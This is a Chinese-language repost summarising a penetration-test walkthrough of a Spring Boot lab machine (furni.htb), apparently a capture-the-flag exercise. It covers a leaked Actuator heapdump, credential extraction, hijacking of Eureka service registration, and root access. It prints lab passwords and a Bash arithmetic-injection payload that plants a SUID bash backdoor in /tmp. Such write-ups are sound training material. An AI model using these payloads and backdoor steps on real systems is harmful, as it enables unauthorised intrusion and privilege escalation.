掘金 人工智能 10月08日 12:49
Spring Boot应用渗透测试:从信息泄露到权限提升
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文详细记录了一次渗透测试过程,揭示了Spring Boot应用在安全配置不当的情况下可能存在的风险。测试从Nmap端口扫描开始,发现了SSH、HTTP(重定向至furni.htb)和需要认证的HTTP(8761)三个开放端口。通过对80端口的家具商店网站进行分析,发现其使用了Spring Boot框架,并利用feroxbuster扫描到暴露的Actuator端点/actuator/heapdump。对堆转储文件的分析,成功获取了数据库连接字符串和Eureka服务认证凭证,进而通过SSH登录oscar190用户。随后,通过分析系统中的多个Spring Boot应用,利用Spring Cloud Gateway劫持机制,注册恶意服务并删除合法实例,成功拦截到miranda-wise用户的登录凭证,并SSH登录。最终,通过发现定时任务脚本中的Bash算术注入漏洞,成功执行命令,创建SUID bash后门,获取root权限。整个过程展示了信息泄露、服务注册劫持和脚本漏洞利用的完整攻击链。

🦻 **信息泄露与凭证获取:** Nmap扫描发现开放端口,对Spring Boot框架下的家具商店网站进行分析,通过feroxbuster扫描到暴露的Actuator堆转储端点(/actuator/heapdump)。对堆转储文件的深入分析,成功提取了数据库连接字符串(jdbc:mysql://localhost:3306/Furni_WebApp_DB, user=oscar190, password=0sc@r190_S0l!dP@sswd)和Eureka服务的认证信息(http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/)。这些凭证为后续的SSH登录oscar190用户提供了关键入口。

🌐 **微服务安全隐患与会话劫持:** 在获取oscar190用户权限后,系统枚举发现多个Spring Boot应用。攻击者利用Spring Cloud Gateway的注册机制,注册了一个指向攻击者IP的恶意USER-MANAGEMENT-SERVICE实例,并删除了合法的服务实例。通过拦截miranda-wise用户的登录请求,成功捕获到其登录凭证(IL!veT0Be&BeT0L0ve),从而获得了miranda-wise用户的SSH访问权限。

🚀 **Bash算术注入与权限提升:** 在获得miranda-wise用户权限后,发现一个由定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞。攻击者通过构造特定的字符串('HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]')写入application.log文件,利用漏洞在`/tmp`目录下创建了一个拥有SUID权限的bash副本(/tmp/0xdf)。最后,通过执行该后门程序(/tmp/0xdf -p),成功获取了root shell,实现了完整的权限提升。

侦察

Nmap扫描发现三个开放端口:

网站分析 - TCP 80

家具商店网站,技术栈为Spring Boot框架。通过feroxbuster目录扫描发现暴露的Actuator端点,特别是/actuator/heapdump堆转储端点。

获取oscar190用户Shell

堆转储分析

下载堆转储文件并使用多种工具分析:

发现关键凭证:

SSH访问

使用发现的凭证成功SSH登录:

ssh oscar190@furni.htb密码:0sc@r190_S0l!dP@sswd

获取miranda-wise用户Shell

系统枚举

发现多个Spring Boot应用:

Spring Cloud Gateway劫持

利用Eureka服务注册机制:

    注册恶意USER-MANAGEMENT-SERVICE实例指向攻击者IP删除合法服务实例拦截miranda-wise的登录请求

捕获到凭证:IL!veT0Be&BeT0L0ve

SSH访问miranda-wise

ssh miranda-wise@furni.htb密码:IL!veT0Be&BeT0L0ve

获取root权限

漏洞分析

发现定时任务执行的/opt/log_analyse.sh脚本存在Bash算术注入漏洞:

analyze_http_statuses() {    while IFS= read -r line; do        code=$(echo "$line" | grep -oP 'Status: \K.*')        # 漏洞:code变量直接用于算术比较        if [[ "$existing_code" -eq "$code" ]]; then            # ...        fi    done}

漏洞利用

利用Bash算术表达式注入:

echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

创建SUID bash后门并获取root shell:

/tmp/0xdf -p

总结

本渗透测试展示了Spring Boot应用安全配置不当导致的完整攻击链:从堆转储信息泄露到服务注册劫持,最终通过脚本漏洞实现权限提升。

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Spring Boot 渗透测试 信息泄露 凭证获取 Actuator 堆转储 Eureka Spring Cloud Gateway Bash注入 权限提升 Pentesting Information Disclosure Credential Acquisition Heap Dump Bash Injection Privilege Escalation
相关文章